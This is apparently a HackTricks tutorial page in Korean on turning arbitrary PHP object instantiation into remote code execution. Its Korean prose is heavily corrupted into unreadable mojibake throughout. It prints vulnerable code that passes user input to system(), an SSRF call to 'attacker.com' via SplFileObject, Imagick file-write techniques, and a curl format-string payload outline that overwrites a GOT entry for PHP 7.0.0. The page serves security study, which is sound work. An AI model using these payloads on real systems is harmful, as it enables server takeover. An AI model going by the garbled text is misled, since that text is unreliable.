PHP - RCE๋ฅผ ์ ์ฉํ ๊ฐ์ฒด ์์ฑ: new $_GETโaโ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ๋ฌธ์๋ ๊ธฐ๋ณธ์ ์ผ๋ก https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/์ ์์ฝ์ ๋๋ค.
์๊ฐ
์๋ฅผ ๋ค์ด new $_GET["a"]($_GET["a"]) ๊ฐ์ ์์ ๊ฐ์ฒด ์์ฑ์ Remote Code Execution (RCE)๋ก ์ด์ด์ง ์ ์์ผ๋ฉฐ, ์์ธํ ๋ด์ฉ์ writeup์ ๋์ ์์ต๋๋ค. ์ด ๋ฌธ์๋ RCE๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํ ๋ค์ํ ์ ๋ต์ ๊ฐ์กฐํฉ๋๋ค.
์ปค์คํ ํด๋์ค ๋๋ Autoloading์ ํตํ RCE
๋ฌธ๋ฒ new $a($b)๋ ๊ฐ์ฒด๋ฅผ ์ธ์คํด์คํํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, **$a**๋ ํด๋์ค ์ด๋ฆ์ ๋ํ๋ด๊ณ **$b**๋ ์์ฑ์์ ์ ๋ฌ๋๋ ์ฒซ ๋ฒ์งธ ์ธ์์
๋๋ค. ์ด๋ฌํ ๋ณ์๋ค์ GET/POST ๊ฐ์ ์ฌ์ฉ์ ์
๋ ฅ์์ ์ ๋ํ ์ ์์ผ๋ฉฐ, ๋ฌธ์์ด์ด๋ ๋ฐฐ์ด์ผ ์ ์๊ณ , JSON์์๋ ๋ค๋ฅธ ํ์
์ผ๋ก ๋ํ๋ ์ ์์ต๋๋ค.
์๋ ์ฝ๋ ์ค๋ํซ์ ๊ณ ๋ คํด ๋ณด์:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
์ด ๊ฒฝ์ฐ $a๋ฅผ App ๋๋ App2๋ก ์ค์ ํ๊ณ $b๋ฅผ ์์คํ
๋ช
๋ น(์: uname -a)์ผ๋ก ์ค์ ํ๋ฉด ํด๋น ๋ช
๋ น์ด ์คํ๋ฉ๋๋ค.
Autoloading functions๋ ํด๋น ํด๋์ค์ ์ง์ ์ ๊ทผํ ์ ์๋ ๊ฒฝ์ฐ ์
์ฉ๋ ์ ์์ต๋๋ค. ์ด ํจ์๋ค์ ํ์ํ ๋ ํ์ผ์์ ํด๋์ค๋ฅผ ์๋์ผ๋ก ๋ก๋ํ๋ฉฐ spl_autoload_register ๋๋ __autoload๋ก ์ ์๋ฉ๋๋ค:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
์คํ ๋ก๋ฉ์ ๋์์ PHP ๋ฒ์ ์ ๋ฐ๋ผ ๋ฌ๋ผ์ ธ ๋ค์ํ RCE ๊ฐ๋ฅ์ฑ์ ์ ๊ณตํ๋ค.
RCE via ๋ด์ฅ ํด๋์ค
์ปค์คํ
ํด๋์ค๋ ์คํ ๋ก๋๊ฐ ์์ ๋๋ ๋ด์ฅ PHP ํด๋์ค๋ง์ผ๋ก๋ RCE๊ฐ ๊ฐ๋ฅํ ์ ์๋ค. ์ด๋ฌํ ํด๋์ค์ ์๋ PHP ๋ฒ์ ๊ณผ ํ์ฅ์ ๋ฐ๋ผ ๋๋ต 100~200๊ฐ ์ฌ์ด์ด๋ฉฐ, get_declared_classes()๋ก ๋์ดํ ์ ์๋ค.
๊ด์ฌ ์๋ ์์ฑ์๋ค์ ๋ฆฌํ๋ ์ API๋ฅผ ํตํด ์๋ณํ ์ ์๋ค. ์์์ ์์ธํ ๋ด์ฉ์ ๋ค์ ์์ ๋ฐ ๋งํฌ https://3v4l.org/2JEGF๋ฅผ ์ฐธ์กฐํ๋ฉด ๋๋ค.
RCE via ํน์ ๋ฉ์๋๋ฅผ ํตํ ์ฌ๋ก์๋ ๋ค์์ด ํฌํจ๋๋ค:
SSRF + Phar Deserialization
SplFileObject ํด๋์ค๋ ์์ฑ์๋ฅผ ํตํด SSRF๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ๋ฉฐ, ์์์ URL์ ์ฐ๊ฒฐํ ์ ์๋ค:
new SplFileObject('http://attacker.com/');
SSRF๋ Phar ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ PHP 8.0 ์ด์ ๋ฒ์ ์์ deserialization ๊ณต๊ฒฉ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
Exploiting PDOs
PDO ํด๋์ค ์์ฑ์๋ DSN ๋ฌธ์์ด์ ํตํด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฐ๊ฒฐํ ์ ์๊ฒ ํ๋ฉฐ, ์ ์ฌ์ ์ผ๋ก ํ์ผ ์์ฑ์ด๋ ๊ธฐํ ์ํธ์์ฉ์ ๊ฐ๋ฅํ๊ฒ ํ ์ ์์ต๋๋ค:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
libxml2์ ๋ฒ์ ์ ๋ฐ๋ผ, PHP 5.3.22 ๋ฐ 5.4.12๊น์ง์ ๋ฒ์ ์ SoapClient ๋ฐ SimpleXMLElement ์์ฑ์๋ฅผ ํตํด XXE ๊ณต๊ฒฉ์ ์ทจ์ฝํ์ต๋๋ค.
RCE via Imagick Extension
ํ๋ก์ ํธ์ ์์กด์ฑ ๋ถ์์์, Imagick์ด ์๋ก์ด ๊ฐ์ฒด๋ฅผ ์ธ์คํด์คํํจ์ผ๋ก์จ command execution์ ์ด์ฉ๋ ์ ์์์ด ๋ฐ๊ฒฌ๋์์ต๋๋ค. ์ด๋ ์ทจ์ฝ์ ์ ์ฉ์ ๊ธฐํ๋ฅผ ์ ๊ณตํฉ๋๋ค.
VID parser
VID parser๊ฐ ํ์ผ์์คํ ์ ์์ ๊ฒฝ๋ก์ ์ฝํ ์ธ ๋ฅผ ์ธ ์ ์๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์์์ด ํ์ธ๋์์ต๋๋ค. ์ด๋ ์น์์ ์ ๊ทผ ๊ฐ๋ฅํ ๋๋ ํฐ๋ฆฌ์ PHP ์์ ๋ฐฐ์นํ์ฌ Remote Code Execution (RCE)์ ๋ฌ์ฑํ ์ ์์์ ์๋ฏธํฉ๋๋ค.
VID Parser + File Upload
PHP๊ฐ ์
๋ก๋๋ ํ์ผ์ /tmp/phpXXXXXX์ ์์ ์ ์ฅํ๋ค๋ ์ ์ ์ฃผ๋ชฉํ์ธ์. Imagick์ VID parser๋ msl ํ๋กํ ์ฝ์ ์ด์ฉํด ํ์ผ ๊ฒฝ๋ก์ ์์ผ๋์นด๋๋ฅผ ์ฒ๋ฆฌํ ์ ์์ด, ์์ ํ์ผ์ ํน์ ์์น๋ก ์ฎ๊ธฐ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ์ด ๋ฐฉ๋ฒ์ ํ์ผ์์คํ
๋ด์์ ์์ ํ์ผ ์ฐ๊ธฐ๋ฅผ ๋ฌ์ฑํ ์ ์๋ ๋ ๋ค๋ฅธ ์๋จ์ ์ ๊ณตํฉ๋๋ค.
PHP Crash + Brute Force
original writeup์ ์ค๋ช ๋ ๋ฐฉ๋ฒ์ ์ญ์ ๋๊ธฐ ์ ์ ์๋ฒ ํฌ๋์๋ฅผ ์ ๋ฐํ๋ ํ์ผ์ ์ ๋ก๋ํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์์ ํ์ผ์ ์ด๋ฆ์ brute-forcingํ๋ฉด Imagick์ด ์์์ PHP ์ฝ๋๋ฅผ ์คํํ ์ ์๊ฒ ๋ฉ๋๋ค. ๋ค๋ง ์ด ๊ธฐ๋ฒ์ ๊ตฌ๋ฒ์ ์ ImageMagick์์๋ง ํจ๊ณผ์ ์ธ ๊ฒ์ผ๋ก ํ์ธ๋์์ต๋๋ค.
Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
์ฌ์ฉ์ ์
๋ ฅ์ด ํด๋์ค ์ด๋ฆ์ ์ ์ดํ ๋(์: new $_GET['model']()), PHP 7.0.0์ Throwable ๋ฆฌํฉํฐ๋ง ๊ณผ์ ์์ ์ผ์์ ์ธ ๋ฒ๊ทธ๋ฅผ ๋์
ํ์ต๋๋ค. ์ด ๋ฒ๊ทธ๋ก ์ธํด ์์ง์ด ํด๋์ค ์ด๋ฆ์ ํด์ํ ๋ ์ด๋ฅผ printf ํ์ ๋ฌธ์์ด๋ก ์๋ชป ์ทจ๊ธํ์ต๋๋ค. ์ด๋ PHP ๋ด๋ถ์์ classic printf-style primitives๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ์ฌ, %p๋ฅผ ํตํ leaks, ํญ(width) ์ง์ ์๋ฅผ ์ด์ฉํ write-count ์ ์ด, ๊ทธ๋ฆฌ๊ณ %n์ ์ด์ฉํ ํ๋ก์ธ์ค ๋ด๋ถ ํฌ์ธํฐ(์: ELF ๋น๋์ GOT ์ํธ๋ฆฌ)์ ๋ํ arbitrary writes๋ฅผ ํ์ฉํฉ๋๋ค.
Minimal repro vulnerable pattern:
<?php
$model = $_GET['model'];
$object = new $model();
Exploitation outline (from the reference):
- ํด๋์ค ์ด๋ฆ์
%p๋ฅผ ํตํด ์ฃผ์๋ฅผ leakํ์ฌ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๋์(writable target)์ ์ฐพ์:
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
- ์ ํํ ๋ฐ์ดํธ ์๋ฅผ ์ค์ ํ๊ธฐ ์ํด positional parameters์ width specifiers๋ฅผ ์ฌ์ฉํ ๋ค์,
%n์ ์ฌ์ฉํด ์คํ์์ ์ ๊ทผ ๊ฐ๋ฅํ ์ฃผ์์ ๊ทธ ๊ฐ์ ๊ธฐ๋กํ๋ค. ๋ชฉํ๋ GOT ์ฌ๋กฏ(์:free)์ ๊ฒจ๋ฅํด ๋ถ๋ถ์ ์ผ๋กsystem์ผ๋ก ๋ฎ์ด์ฐ๋ ๊ฒ์ด๋ค. - ์
ธ ํ์ดํ๋ฅผ ํฌํจํ ํด๋์ค ์ด๋ฆ์ ์ ๋ฌํด ํ์ด์ฌํน๋ ํจ์๋ฅผ ํธ๋ฆฌ๊ฑฐํ์ฌ
system("id")๋ฅผ ํธ์ถํ๋ค.
Notes:
- PHP 7.0.0์์๋ง ๋์ํจ(Bug #71105); ์ดํ ๋ฆด๋ฆฌ์ค์์ ์์ ๋จ. Severity: critical if arbitrary class instantiation exists.
- ์ผ๋ฐ์ ์ธ ํ์ด๋ก๋๋ ์ฌ๋ฌ
%p๋ฅผ ์ฐ์์ ์ผ๋ก ์ฌ์ฉํด ์คํ์ ํ์ํ ๋ค์,%.<width>d%<pos>$n์ผ๋ก ๋ถ๋ถ ๋ฎ์ด์ฐ๊ธฐ๋ฅผ ์ํํ๋ค.
References
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- The Art of PHP: CTFโborn exploits and techniques
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


